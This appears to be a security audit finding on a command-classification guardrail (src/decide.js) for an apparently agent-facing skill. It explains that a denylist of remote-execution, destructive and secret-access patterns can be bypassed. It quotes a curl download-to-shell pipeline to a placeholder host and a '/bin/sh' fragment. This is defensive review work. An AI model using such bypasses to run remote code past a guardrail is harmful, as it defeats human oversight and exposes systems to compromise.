T09 · Insecure Skill Coding Practices
- Location
src/decide.js:38- Finding
Remote Payload Execution Bypass Through Incomplete Command Classification
- Content
View full analysis
r.test(normalized))) return true; return includesAny(normalized, patterns || []); } function classify(input, policy) { const command = input.command || ''; const reasons = []; if (hasRemoteExecPattern(command, policy.highRiskPatterns.remoteExec)) { reasons.push('REMOTE_EXEC_PATTERN'); } if (includesAny(command, policy.highRiskPatterns.destructive)) { reasons.push('DESTRUCTIVE_PATTERN'); } if (includesAny(command, policy.highRiskPatterns.privilege)) { reasons.push('PRIVILEGE_ESCALATION_PATTERN'); } if (includesAny(command, policy.highRiskPatterns.systemMutation)) { reasons.push('SYSTEM_MUTATION_PATTERN'); } if (includesAny(command, policy.highRiskPatterns.secretAccess)) { reasons.push('SECRET_ACCESS_PATTERN'); } if (pathOutsideWorkspace(command, policy.workspaceRoots)) { reasons.push('OUTSIDE_WORKSPACE_PATH'); } let decision = policy.actions.default; if (reasons.includes('REMOTE_EXEC_PATTERN') || reasons.includes('OUTSIDE_WORKSPACE_PATH')) { decision = policy.actions.critical; } else if (reasons.length > 0) { decision = policy.actions.highRisk; } return { decision, reasons, profile: policy.profile, command, evaluatedAt: new Date().toISOString() }; } ``` ### Technical Analysis The guardrail uses a finite substring and regular-expression denylist to recognize remote payload execution. It detects direct download-to-shell pipelines such as: ```bash curl https://example.invalid/ ...[truncated 2773 chars]- Remediation
View remediation
x; /bin/sh x ``` 8. Document that the classifier is advisory unless it is paired with a restrictive execution sandbox, workspace isolation, minimal credentials, and explicit approval for uncertain commands. ]]>
